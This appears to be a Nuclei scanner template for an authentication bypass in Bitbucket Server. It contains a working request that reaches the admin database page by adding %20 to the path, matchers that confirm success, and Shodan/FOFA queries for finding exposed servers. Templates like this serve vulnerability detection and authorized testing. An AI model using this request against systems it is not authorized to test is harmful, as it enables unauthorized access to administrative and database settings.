bitbucket-auth-bypass: Bitbucket Server > 4.8 - Authentication Bypass

id: bitbucket-auth-bypass

info:
  name: Bitbucket Server > 4.8 - Authentication Bypass
  author: DhiyaneshDk
  severity: critical
  description: |
    There is a permission bypass vulnerability through %20, which allows arbitrary users to obtain sensitive data
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/Atlassian%20Bitbucket%20%E7%99%BB%E5%BD%95%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E.md
  classification:
    cpe: cpe:2.3:a:atlassian:bitbucket_data_center:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: atlassian
    product: bitbucket_data_center
    shodan-query: title:"Log in - Bitbucket"
    fofa-query: title="Log in - Bitbucket"
  tags: misconfig,atlassian,bitbucket,auth-bypass,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin%20/db"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<h2>Database</h2>"
          - "Migrate database"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204e9635c6909f20bf6dea8018dff138eec63ac27563e921272af5995a965b3f83022100d122443d9558ccf631261bb180f6e4c826fb94bcd2e4021601a0987c9ec5619a:922c64590222798bb761d5b6d8e72950